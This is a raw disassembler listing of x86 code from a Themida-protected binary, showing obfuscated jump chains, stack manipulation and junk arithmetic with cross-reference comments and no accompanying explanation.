loc_599DEF:				; CODE XREF: Themida_:0059FF83j
		add	dh, 0FBh
		jmp	loc_5A9054
; ---------------------------------------------------------------------------


loc_599DF7:				; CODE XREF: Themida_:005A6A86j
		push	3817h
		mov	[esp], ebp
		jmp	loc_598E87
; ---------------------------------------------------------------------------


loc_599E04:				; CODE XREF: Themida_:005AEE88j
		mov	dh, 97h
		or	dh, 54h
		shl	dh, 8
		and	dh, 75h
		jmp	loc_5A09D5
; ---------------------------------------------------------------------------


loc_599E14:				; CODE XREF: Themida_:005AB9A7j
		add	edi, 6FC32EF2h
		pop	esi
		push	edi
		inc	dword ptr [esp]
		pop	edi
		add	edi, 17CD0083h
		or	esi, edi
		pop	edi
		push	ecx
		mov	ecx, 4C7A697Eh
		shl	ecx, 7
		shl	ecx, 8
		sub	ecx, 0B41A6FBBh
		add	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	edi, 391D1FE2h
		add	edi, esi
		sub	edi, 391D1FE2h
		jmp	loc_5AB23D
; ---------------------------------------------------------------------------


loc_599E59:				; CODE XREF: Themida_:005AA599j
		pop	edi
		push	102Ch
		mov	[esp], eax
		push	2F9Ah
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		push	edx
		mov	edx, 4
		jmp	loc_5A4003
; ---------------------------------------------------------------------------


loc_599E7D:				; CODE XREF: Themida_:0059E7DDj
		and	[edi+1Ch], esi
		mov	esi, [esp]
		push	3E98h
		jmp	loc_59EEED
; ---------------------------------------------------------------------------


loc_599E8D:				; CODE XREF: Themida_:005A9C36j
		push	ebp
		mov	ebp, 61F41D3Eh
		mov	edx, 61F41D3Ah
		xor	edx, ebp
		jmp	loc_5AA27A
; ---------------------------------------------------------------------------


loc_599E9F:				; CODE XREF: Themida_:loc_59E894j
		add	ebx, 553A6340h
		jmp	loc_5A3640
; ---------------------------------------------------------------------------


loc_599EAA:				; CODE XREF: Themida_:005A9931j
		push	dword ptr [esp]
		jmp	loc_5A4410
; ---------------------------------------------------------------------------


loc_599EB2:				; CODE XREF: Themida_:0059E285j
		pop	edx
		pop	ebp
		push	ebp
		mov	ebp, 593B4DCFh
		jmp	loc_5AE794
; ---------------------------------------------------------------------------


loc_599EBF:				; CODE XREF: Themida_:005ACBD8j
		add	eax, 4
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		jmp	loc_5A6B89
; ---------------------------------------------------------------------------


loc_599ED8:				; CODE XREF: Themida_:005AAC45j
		mov	ecx, [esp]
		add	esp, 4
		or	eax, eax
		jz	loc_5A40FB
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	ebx
		mov	ebx, esp
		push	ebp
		mov	ebp, 72A07D7Bh
		sub	ebp, 60396EA4h
		or	ebp, 3BC55570h
		not	ebp
		push	5B5Ah
		mov	[esp], eax
		jmp	loc_5A2F75
; ---------------------------------------------------------------------------


loc_599F1A:				; CODE XREF: Themida_:0059C7E1j
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_5AC47F
; ---------------------------------------------------------------------------


loc_599F25:				; CODE XREF: Themida_:0059E0BFj
		pop	esi
		shr	ebx, 2
		jns	loc_5A144D
		xor	ebx, 6F7C8B28h
		push	ebx
		jmp	loc_59C6C8
; ---------------------------------------------------------------------------
		mov	bh, 4


loc_599F3D:				; CODE XREF: Themida_:005A0397j
		mov	esi, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_599F4B:				; CODE XREF: Themida_:loc_5A9CC4j
		or	edi, 438336Ch
		jb	loc_5A9229
		add	edi, 77A2EF1h
		sub	edi, 66B26EECh
		sub	esi, 35D90DABh
		sub	esi, edi
		add	esi, 35D90DABh
		pop	edi
		xchg	esi, [esp]
		jmp	loc_59B133
; ---------------------------------------------------------------------------


loc_599F7A:				; CODE XREF: Themida_:005A85C6j
		add	[esp], eax
		pushf
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_599F83:				; CODE XREF: Themida_:005AE259j
		sub	esp, 4
		mov	[esp], esi
		push	eax
		push	593D3882h
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	ebx
		push	esi
		sub	esp, 4
		mov	[esp], eax
		push	0D4508F2h
		pop	eax
		push	edx
		jmp	loc_5ABC3C
; ---------------------------------------------------------------------------


loc_599FB0:				; CODE XREF: Themida_:005A3B4Dj
		add	eax, ecx
		pop	ecx
		jmp	loc_5A6126
; ---------------------------------------------------------------------------


loc_599FB8:				; CODE XREF: Themida_:005A97CBj
		sub	ecx, 0B74A92D7h
		mov	esi, ecx
		pop	ecx
		or	esi, 54805878h
		add	esi, 0AA76A50Bh
		jmp	loc_5AAD0B
; ---------------------------------------------------------------------------


loc_599FD2:				; CODE XREF: Themida_:005A72F9j
		push	edx
		mov	dh, 3Ah
		push	ecx
		jmp	loc_5A636D
; ---------------------------------------------------------------------------


loc_599FDB:				; CODE XREF: Themida_:0059C312j
		add	esp, 4
		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_5AC8B9
; ---------------------------------------------------------------------------


loc_599FF2:				; CODE XREF: Themida_:005A7669j
		inc	eax
		jmp	loc_59DDEB
; ---------------------------------------------------------------------------


loc_599FF8:				; CODE XREF: Themida_:0059F628j
		mov	bh, ah
		pop	eax
		push	eax
		mov	ah, bh
		mov	cl, ah
		mov	eax, [esp]
		push	edx
		jmp	loc_59D838
; ---------------------------------------------------------------------------


loc_59A009:				; CODE XREF: Themida_:005A987Fj
		push	esi
		jmp	loc_5ACE79
; ---------------------------------------------------------------------------


loc_59A00F:				; CODE XREF: Themida_:005A7EC8j
		add	eax, 75C842E6h
		jp	loc_5A1EDB
		jmp	loc_5A26C6
; ---------------------------------------------------------------------------


loc_59A01F:				; CODE XREF: Themida_:005AA9D6j
		add	ebx, 4
		jmp	loc_5AFAA5
; ---------------------------------------------------------------------------


loc_59A02A:				; CODE XREF: Themida_:005AEE79j
		sub	edi, 3B1C27E7h
		mov	ecx, [esp]
		add	esp, 4
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		jmp	loc_5A16DE
; ---------------------------------------------------------------------------


loc_59A044:				; CODE XREF: Themida_:0059CEE6j
		mov	dl, al
		jmp	loc_5AB7DE
; ---------------------------------------------------------------------------


loc_59A04B:				; CODE XREF: Themida_:005A5BB9j
		push	esi
		not	dword ptr [esp]
		pop	esi
		jmp	loc_5A8F28
; ---------------------------------------------------------------------------


loc_59A055:				; CODE XREF: Themida_:005A9923j
		pop	eax
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_5ADD73
; ---------------------------------------------------------------------------


loc_59A067:				; CODE XREF: Themida_:0059B028j
		not	dword ptr [esp]
		pop	edi
		jmp	loc_59FDFC
; ---------------------------------------------------------------------------


loc_59A070:				; CODE XREF: Themida_:005A7A25j
		pop	edi
		push	ebp
		mov	ebp, 4
		add	eax, ebp
		pop	ebp
		xchg	eax, [esp]
		pop	esp
		sub	esp, 4
		jmp	loc_5A9C8F
; ---------------------------------------------------------------------------


loc_59A089:				; CODE XREF: Themida_:005A3E17j
		not	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		shl	ebx, 6
		neg	ebx
		jmp	loc_5A853A
; ---------------------------------------------------------------------------


loc_59A09C:				; CODE XREF: Themida_:005AD122j
		add	esp, 4
		sub	edx, 69E947C5h
		pop	ecx
		shl	edx, 6
		sub	edx, 320A42B3h
		jmp	loc_5AD1CC
; ---------------------------------------------------------------------------


loc_59A0B7:				; CODE XREF: Themida_:0059B1B3j
					; Themida_:005AB9EAj ...
		push	69B5197Fh
		pop	edx
		dec	edx
		sub	edx, 1
		add	edx, 9E91EF91h
		or	ebx, edx
		jmp	loc_5AC622
; ---------------------------------------------------------------------------


loc_59A0CE:				; CODE XREF: Themida_:005A36ADj
					; Themida_:005AF590j
		pop	ecx
		jmp	loc_59A5F9
; ---------------------------------------------------------------------------


loc_59A0D4:				; CODE XREF: Themida_:0059D46Bj
		xchg	edi, [esp]
		pop	esp
		or	eax, eax
		jz	loc_59B30E
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		pop	ecx
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], eax
		push	20F9h
		mov	[esp], esp
		push	eax
		jmp	loc_5ABCF5
; ---------------------------------------------------------------------------


loc_59A108:				; CODE XREF: Themida_:005A4631j
					; Themida_:005A678Bj
		add	ebx, 16815B24h
		jmp	loc_5AE700
; ---------------------------------------------------------------------------


loc_59A113:				; CODE XREF: Themida_:005AA317j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	edx
		mov	edx, 4
		add	ebx, edx
		pop	edx
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_59F7D3
; ---------------------------------------------------------------------------


loc_59A12E:				; CODE XREF: Themida_:005A4F21j
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_59A133:				; DATA XREF: Themida_:0059870Co
		mov	cx, [esp]
		push	21F9h
		mov	[esp], esi
		push	58EBh
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		mov	esi, [esp]
		add	esp, 4
		push	ebx
		push	4
		jmp	loc_5AD749
; ---------------------------------------------------------------------------


loc_59A160:				; CODE XREF: Themida_:0059911Dj
		mov	[esp], ebx
		push	edx
		mov	edx, 2A9607BFh
		inc	edx
		jmp	loc_59BF00
; ---------------------------------------------------------------------------


loc_59A16F:				; CODE XREF: Themida_:0059A932j
		shl	edi, 1
		jmp	loc_5A67A3
; ---------------------------------------------------------------------------


loc_59A176:				; CODE XREF: Themida_:loc_5AC8AFj
		dec	edx
		xor	edx, 77797FCAh
		jmp	loc_5A4136
; ---------------------------------------------------------------------------


loc_59A182:				; CODE XREF: Themida_:005A475Aj
		mov	esi, [esp]
		add	esp, 4
		sub	ecx, ebx
		add	ecx, 47EB48FFh
		jmp	loc_59E7CA
; ---------------------------------------------------------------------------


loc_59A195:				; CODE XREF: Themida_:005AC4FBj
		add	eax, 6B877C0Ah
		add	eax, esi
		sub	eax, 6B877C0Ah
		jmp	loc_59EA48
; ---------------------------------------------------------------------------


loc_59A1A6:				; CODE XREF: Themida_:0059BD79j
		mov	[esp], esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_59A1B9:				; CODE XREF: Themida_:0059A6C0j
		add	esi, 4
		push	edi
		mov	edi, 5F382ED8h
		dec	edi
		jmp	loc_5A9CC4
; ---------------------------------------------------------------------------


loc_59A1CB:				; CODE XREF: Themida_:005AB26Bj
		push	2180h
		mov	[esp], eax
		pop	esi
		jmp	loc_59CD7A
; ---------------------------------------------------------------------------


loc_59A1D9:				; CODE XREF: Themida_:0059B42Cj
		add	eax, esi
		pop	esi
		pop	edi
		pop	ebx
		push	edx
		mov	edx, 6F05182Fh
		push	ecx
		mov	ecx, 62565FCFh
		add	edx, ecx
		pop	ecx
		jmp	loc_59CC08
; ---------------------------------------------------------------------------


loc_59A1F2:				; CODE XREF: Themida_:005A5668j
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_5AB11B
; ---------------------------------------------------------------------------


loc_59A20C:				; CODE XREF: Themida_:005ADEFBj
		push	edx
		mov	dl, bl
		mov	al, dl
		jmp	loc_5AD9EB
; ---------------------------------------------------------------------------
		dw 2489h
; ---------------------------------------------------------------------------
		and	al, 83h
		add	al, 24h
		add	al, 59h
		jmp	loc_59AD36
; ---------------------------------------------------------------------------


loc_59A223:				; CODE XREF: Themida_:00598B46j
		xor	di, cx
		pop	ecx
		xor	si, di
		jmp	loc_5A8AF1
; ---------------------------------------------------------------------------


loc_59A22F:				; CODE XREF: Themida_:005A07C3j
		mov	ecx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_5A018C
; ---------------------------------------------------------------------------


loc_59A240:				; CODE XREF: Themida_:005A72BBj
		pop	ebp
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		and	eax, ebx
		pop	ebx
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_5AF7E8
; ---------------------------------------------------------------------------


loc_59A265:				; CODE XREF: Themida_:00599827j
		add	ebx, esi
		pop	esi
		jmp	loc_5A0F1B
; ---------------------------------------------------------------------------


loc_59A26D:				; CODE XREF: Themida_:005997E7j
		jb	loc_5A3C11
		add	ebp, 10561CBEh
		jbe	loc_5A4DEA
		shl	ebp, 7
		xor	ebp, 0A3C750EDh
		add	ecx, ebp
		pop	ebp
		jmp	loc_59C09A
; ---------------------------------------------------------------------------


loc_59A290:				; CODE XREF: Themida_:005A2F9Dj
		mov	[esp], ebx
		jmp	loc_59AB08
; ---------------------------------------------------------------------------


loc_59A298:				; CODE XREF: Themida_:005A46FCj
		sub	esi, ecx
		jmp	loc_5A9F0A
; ---------------------------------------------------------------------------


loc_59A29F:				; CODE XREF: Themida_:005A7B51j
		or	esi, 3D783FDDh
		jmp	loc_5A0FAB
; ---------------------------------------------------------------------------


loc_59A2AA:				; CODE XREF: Themida_:005A1EC5j
					; Themida_:005A565Bj ...
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], edi
		push	eax
		push	edi
		mov	edi, 200CAC77h
		mov	eax, edi
		pop	edi
		push	eax
		push	esi
		mov	esi, 3EBD15A8h
		sub	[esp+4], esi
		pop	esi
		pop	edi
		add	edi, 3EBD15A8h
		pop	eax
		jmp	loc_59FCA5
; ---------------------------------------------------------------------------


loc_59A2E1:				; CODE XREF: Themida_:005A3B73j
		sub	ebp, 0D7A68956h
		mov	edx, ebp
		jmp	loc_598D8F
; ---------------------------------------------------------------------------


loc_59A2EE:				; CODE XREF: Themida_:0059D1E6j
		add	eax, 0BA033389h
		mov	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		xor	ecx, 0BD84CE7Eh
		xor	ebx, ecx
		pop	ecx
		jmp	loc_59B78D
; ---------------------------------------------------------------------------


loc_59A30C:				; CODE XREF: Themida_:005A5C2Bj
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		bswap	eax
		push	7B71h
		mov	[esp], eax
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_59A324:				; CODE XREF: Themida_:005A9364j
					; Themida_:005AC56Cj
		add	esp, 4
		push	ecx
		mov	ecx, 0BBA6D61h
		push	ebx
		mov	ebx, 0C681264h
		and	ebx, 2CF1337Fh
		and	ebx, 72455ACAh
		shr	ebx, 2
		sub	ebx, 6E665016h
		add	ebx, 0D410A501h
		or	ecx, ebx
		pop	ebx
		jmp	loc_59B21D
; ---------------------------------------------------------------------------


loc_59A356:				; CODE XREF: Themida_:005A0893j
		jnp	loc_5A83E2
		inc	edi
		jle	loc_5A0272
		xor	edi, 4CB74890h
		mov	ecx, edi


loc_59A36B:				; CODE XREF: Themida_:005A4A17j
		sub	esi, edi
		pop	edi
		add	esi, 0CF80231h
		mov	ebp, esi
		pop	esi
		inc	ebp
		jmp	loc_5A3B9F
; ---------------------------------------------------------------------------


loc_59A37D:				; CODE XREF: Themida_:005A5619j
		not	ecx
		jmp	loc_59D51F
; ---------------------------------------------------------------------------


loc_59A384:				; CODE XREF: Themida_:005AED22j
		add	esi, 7A4B35CFh
		pop	edi
		xchg	esi, [esp]
		mov	esp, [esp]
		or	ecx, ecx
		jz	loc_5A8BB0
		push	3D92h
		jmp	loc_5AD723
; ---------------------------------------------------------------------------


loc_59A3A3:				; CODE XREF: Themida_:0059C8E2j
		mov	[esp], ebp
		mov	ebp, 8236B23h
		xor	edi, ebp
		pop	ebp
		add	eax, 50ED2695h
		jmp	loc_5A1874
; ---------------------------------------------------------------------------


loc_59A3B8:				; CODE XREF: Themida_:005AC8C0j
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_5A98FF
; ---------------------------------------------------------------------------
		lodsd
		xor	eax, ebx
		push	esi
		mov	esi, 0DEAE3DBh
		add	eax, 140006C9h
		push	ecx
		mov	ecx, 3042F62h
		jmp	loc_59BBDD
; ---------------------------------------------------------------------------


loc_59A3DF:				; CODE XREF: Themida_:005A65C7j
		pop	edi
		dec	ecx
		push	ebp
		jmp	loc_598B7F
; ---------------------------------------------------------------------------


loc_59A3E7:				; CODE XREF: Themida_:0059AD83j
		add	ebx, 4
		jmp	loc_59AF8C
; ---------------------------------------------------------------------------


loc_59A3F2:				; CODE XREF: Themida_:005A7BD1j
		add	edi, edx
		push	dword ptr [esp]
		mov	edx, [esp]
		push	ebx
		jmp	loc_59EE6D
; ---------------------------------------------------------------------------


loc_59A400:				; CODE XREF: Themida_:0059C85Aj
		shr	eax, 3
		push	edi
		jmp	loc_5A80DF
; ---------------------------------------------------------------------------


loc_59A409:				; CODE XREF: Themida_:005A37D3j
		sub	eax, edx
		pop	edx
		jmp	loc_5A535E
; ---------------------------------------------------------------------------


loc_59A411:				; CODE XREF: Themida_:005AA443j
		mov	ecx, [esp]
		jmp	loc_5A12CF
; ---------------------------------------------------------------------------


loc_59A419:				; CODE XREF: Themida_:005AE6CBj
		push	4028h
		jmp	loc_5A6B23
; ---------------------------------------------------------------------------


loc_59A423:				; CODE XREF: Themida_:0059F670j
		or	ecx, 21BA3513h
		jns	loc_5999D5
		add	ecx, 3D83D8B9h
		mov	ebx, ecx
		jmp	loc_5999A3
; ---------------------------------------------------------------------------
		push	ecx
		push	eax
		push	13F8h
		mov	[esp], ecx
		push	71E8h
		mov	[esp], ebx
		push	eax
		mov	al, dh
		mov	bh, al
		mov	eax, [esp]
		add	esp, 4
		mov	cl, bh
		mov	ebx, [esp]
		add	esp, 4
		push	edx
		jmp	loc_59AB84
; ---------------------------------------------------------------------------


loc_59A467:				; CODE XREF: Themida_:0059EEB6j
		pop	edx
		xchg	edi, edx
		not	edi
		xor	edx, edi
		xor	edi, edx
		xor	edx, edi
		push	ebx
		push	edx
		mov	ebx, [esp]
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_59BC8D
; ---------------------------------------------------------------------------


loc_59A48B:				; CODE XREF: Themida_:005A0768j
		pop	ecx
		push	ebp
		push	ecx
		mov	ecx, 5D7A7136h
		mov	ebp, ecx
		pop	ecx
		sub	ebp, 0E2926BC6h
		or	ebp, 78B4F0Dh
		push	esi
		mov	esi, 5CFF5529h
		sub	ebp, esi
		jmp	loc_5A207B
; ---------------------------------------------------------------------------


loc_59A4AF:				; CODE XREF: Themida_:loc_5AAEBCj
					; Themida_:005AEA05j
		mov	[esp], edi
		jmp	loc_5A94A6
; ---------------------------------------------------------------------------


loc_59A4B7:				; CODE XREF: Themida_:005A8802j
		mov	ebx, 0CA30936h
		shl	ebx, 1
		jmp	loc_5A280F
; ---------------------------------------------------------------------------


loc_59A4C3:				; CODE XREF: Themida_:005A706Aj
		mov	edi, 74632082h
		mov	edx, 74632086h
		xor	edx, edi
		pop	edi
		mov	ecx, edx
		pop	edx
		sub	edx, 6519417Fh
		add	edx, ecx
		push	ebp
		jmp	loc_598F3C
; ---------------------------------------------------------------------------


loc_59A4E1:				; CODE XREF: Themida_:loc_5AFD09j
		inc	ebx
		jp	loc_59FA16
		xor	ebx, 73DA5DECh
		jmp	loc_5A02AF
; ---------------------------------------------------------------------------
		push	edi
		mov	bh, 0C0h


loc_59A4F7:				; CODE XREF: Themida_:005AB393j
		pop	ecx
		sub	al, bl
		push	dx
		mov	dl, 0EFh
		jmp	loc_59BF48
; ---------------------------------------------------------------------------


loc_59A503:				; CODE XREF: Themida_:005A10B9j
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 42ED4D71h
		neg	edi
		shl	edi, 7
		or	edi, 725F5737h
		jmp	loc_5AB364
; ---------------------------------------------------------------------------


loc_59A51E:				; CODE XREF: Themida_:005A4AE4j
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_59AFB9
; ---------------------------------------------------------------------------


loc_59A531:				; CODE XREF: Themida_:005A48E9j
		sub	ecx, ebp
		pop	ebp
		shl	ecx, 8
		jmp	loc_5ACD5B
; ---------------------------------------------------------------------------


loc_59A53C:				; CODE XREF: Themida_:loc_5A0CB7j
		jmp	loc_5A166B
; ---------------------------------------------------------------------------


loc_59A541:				; CODE XREF: Themida_:005A7A35j
		mov	ecx, eax
		jmp	loc_5A4548
; ---------------------------------------------------------------------------


loc_59A548:				; CODE XREF: Themida_:005A2DD6j
		mov	[esp], edx
		jmp	loc_59E971
; ---------------------------------------------------------------------------


loc_59A550:				; CODE XREF: Themida_:005A1149j
					; Themida_:005ADBA2j
		jb	loc_5AA53E
		inc	edi
		xor	edi, 2F753999h
		ja	loc_5AE497
		sub	edi, 280B4690h
		jns	loc_59B833
		mov	ah, dl


loc_59A571:				; CODE XREF: Themida_:005AC73Bj
		mov	edx, [esp]
		add	esp, 4
		add	ebp, edi
		jmp	loc_5AC6FC
; ---------------------------------------------------------------------------


loc_59A57E:				; CODE XREF: Themida_:005A3C01j
		jmp	loc_5A5D7F
; ---------------------------------------------------------------------------


loc_59A583:				; CODE XREF: Themida_:0059B4CAj
		push	ecx
		mov	ecx, 719C7484h
		sub	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		jmp	loc_5A1F43
; ---------------------------------------------------------------------------


loc_59A599:				; CODE XREF: Themida_:0059EF70j
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_5AB4B2
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_59C0BF
; ---------------------------------------------------------------------------


loc_59A5B6:				; CODE XREF: Themida_:0059D708j
		jmp	loc_598A3D
; ---------------------------------------------------------------------------


loc_59A5BB:				; CODE XREF: Themida_:005A3FF8j
		push	dword ptr [esp]
		jmp	loc_5ADA2C
; ---------------------------------------------------------------------------


loc_59A5C3:				; CODE XREF: Themida_:005A17BDj
		pop	ebp
		and	ebp, 1FB828D9h
		xor	ebp, 15A8281Dh
		add	edi, 1D814882h
		add	edi, ebp
		sub	edi, 1D814882h
		pop	ebp
		push	ebx
		mov	ebx, 77FB392Bh
		shr	ebx, 2
		sub	ebx, 1DFECE46h
		sub	edi, 0D3C53FEh
		jmp	loc_5A7873
; ---------------------------------------------------------------------------


loc_59A5F9:				; CODE XREF: Themida_:0059A0CFj
		add	ecx, 4
		sub	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		jmp	loc_5A9E9C
; ---------------------------------------------------------------------------


loc_59A60F:				; CODE XREF: Themida_:0059EAEFj
		push	17DDh
		mov	[esp], esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		jmp	loc_5ADCC8
; ---------------------------------------------------------------------------


loc_59A624:				; CODE XREF: Themida_:005A2CD8j
		dec	edx
		xor	edx, 77797FCAh
		jmp	loc_5A3187
; ---------------------------------------------------------------------------


loc_59A630:				; CODE XREF: Themida_:00599DC3j
		add	al, 0Ah
		sub	al, ch
		jmp	loc_5ABA13
; ---------------------------------------------------------------------------


loc_59A639:				; CODE XREF: Themida_:005A091Ej
		push	ecx
		mov	ecx, 43AC6259h
		neg	ecx
		ja	loc_59C5A6
		jmp	loc_5A97CA
; ---------------------------------------------------------------------------


loc_59A64C:				; CODE XREF: Themida_:0059CD90j
		pop	esp
		add	ebx, 7A6666DCh
		add	ebx, 3F892558h
		jmp	loc_5A2005
; ---------------------------------------------------------------------------


loc_59A65E:				; CODE XREF: Themida_:0059BCF9j
		shl	ebp, 3
		add	ebp, 4EA664E2h
		push	ebx
		mov	ebx, 1EB74964h
		not	ebx
		xor	ebx, 0C941C743h
		jmp	loc_5A6451
; ---------------------------------------------------------------------------


loc_59A67A:				; CODE XREF: Themida_:005AA24Fj
		push	esi
		mov	esi, 4
		add	edi, esi
		pop	esi
		jmp	loc_5AF7D0
; ---------------------------------------------------------------------------


loc_59A688:				; CODE XREF: Themida_:005A77BFj
		sub	esp, 4
		mov	[esp], ebx
		mov	bh, 0E1h
		sub	al, bh
		jmp	loc_59E958
; ---------------------------------------------------------------------------


loc_59A697:				; CODE XREF: Themida_:005AC9B5j
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	ecx
		mov	ecx, esp
		jmp	loc_5A9749
; ---------------------------------------------------------------------------


loc_59A6A6:				; CODE XREF: Themida_:005ABC11j
					; Themida_:005ACB24j
		mov	si, [esp]
		jmp	loc_5AC8C5
; ---------------------------------------------------------------------------


loc_59A6AF:				; CODE XREF: Themida_:005A4E84j
		pop	eax
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	ecx
		push	60F14A59h
		pop	ecx
		push	esi
		mov	esi, esp
		jmp	loc_59A1B9
; ---------------------------------------------------------------------------


loc_59A6C5:				; CODE XREF: Themida_:005A89D8j
		sub	ecx, 17D3A88Eh
		sub	eax, 0E6E2D22h
		add	eax, ecx
		add	eax, 0E6E2D22h
		pop	ecx
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		jmp	loc_5A94C8
; ---------------------------------------------------------------------------


loc_59A6EB:				; CODE XREF: Themida_:005AC065j
		not	bl
		xchg	bl, al
		jmp	loc_5AB7E6
; ---------------------------------------------------------------------------


loc_59A6F4:				; CODE XREF: Themida_:005AD504j
		mov	ebp, 1978EDF4h
		xor	edi, ebp
		pop	ebp
		sub	ebx, 2B04427Fh
		sub	ebx, 538E3F63h
		add	ebx, edi
		push	312Eh
		mov	[esp], edx
		mov	edx, 538E3F63h
		jmp	loc_59F798
; ---------------------------------------------------------------------------


loc_59A71C:				; CODE XREF: Themida_:0059EB55j
		sub	edi, 83319031h
		add	eax, edi
		pop	edi
		add	eax, ecx
		sub	eax, 103738A8h
		mov	ecx, [esp]
		jmp	loc_59D746
; ---------------------------------------------------------------------------


loc_59A734:				; CODE XREF: Themida_:005A0ECFj
		sub	ecx, edx
		pop	edx
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		jmp	loc_5989A3
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5A13A3
; ---------------------------------------------------------------------------


loc_59A75D:				; CODE XREF: Themida_:005AB1E2j
		push	ebp
		jmp	loc_5A118E
; ---------------------------------------------------------------------------


loc_59A763:				; CODE XREF: Themida_:00598E7Aj
		mov	cl, 8Ah
		sub	cl, 0D9h
		shr	cl, 7
		push	ax
		mov	ah, 14h
		add	cl, 0A6h
		add	cl, ah
		jmp	loc_5AFDF7
; ---------------------------------------------------------------------------


loc_59A779:				; CODE XREF: Themida_:0059DEEFj
		add	edi, 4
		jmp	loc_59B1B8
; ---------------------------------------------------------------------------


loc_59A784:				; CODE XREF: Themida_:005A44B9j
		js	loc_59BAB2
		push	eax
		mov	al, 94h
		push	ecx
		mov	cl, 0DDh
		sub	al, cl
		pop	ecx
		xor	bh, al


loc_59A795:				; CODE XREF: Themida_:005A28CDj
		mov	eax, esp
		jmp	loc_5A1D6A
; ---------------------------------------------------------------------------


loc_59A79C:				; CODE XREF: Themida_:005ADAF6j
		push	ebp
		mov	ebp, 7C3E1E08h
		push	ecx
		mov	ecx, 0C1E64986h
		add	ebp, ecx
		pop	ecx
		or	esi, ebp
		jmp	loc_5A5921
; ---------------------------------------------------------------------------


loc_59A7B2:				; CODE XREF: Themida_:005AB2ABj
		add	esi, 4
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		jmp	loc_5ACCEC
; ---------------------------------------------------------------------------


loc_59A7CA:				; CODE XREF: Themida_:0059BC1Bj
		xor	[esp], eax
		xor	eax, [esp]
		jmp	loc_5A7926
; ---------------------------------------------------------------------------


loc_59A7D5:				; CODE XREF: Themida_:005A99D7j
		push	esi
		push	54933AA3h
		mov	esi, [esp]
		jmp	loc_5A1F32
; ---------------------------------------------------------------------------


loc_59A7E3:				; CODE XREF: Themida_:0059C7D9j
		sub	ecx, 306864DFh
		jmp	loc_59EFDB
; ---------------------------------------------------------------------------


loc_59A7EE:				; CODE XREF: Themida_:005AD00Fj
		pop	ecx
		pop	edx
		jmp	loc_5A42FE
; ---------------------------------------------------------------------------


loc_59A7F5:				; CODE XREF: Themida_:005ACE7Ej
		pop	esi
		xor	esi, 729845D0h
		mov	ecx, esi
		pop	esi
		sub	edi, 18794660h
		push	edx
		mov	edx, 26E365E0h
		xor	edx, 5C28159Fh
		shr	edx, 6
		and	edx, 1C6030Dh
		xor	edx, 255247FCh
		shl	edx, 2
		push	eax
		mov	eax, 8BDA53FCh
		xor	edx, eax
		jmp	loc_5A5EF6
; ---------------------------------------------------------------------------


loc_59A830:				; CODE XREF: Themida_:0059FC49j
		and	ebp, edx
		pop	edx
		shl	ebp, 2
		sub	ebp, 20001DE4h
		mov	edx, ebp
		jmp	loc_5AD8A4
; ---------------------------------------------------------------------------


loc_59A843:				; CODE XREF: Themida_:005A49A3j
		add	ebx, ebp
		pop	ebp
		add	ebx, ebp
		push	esi
		mov	esi, 0B97451Eh
		sub	ebx, esi
		pop	esi
		sub	ebx, 53355750h
		pop	ebp
		push	37DEh
		jmp	loc_5A5791
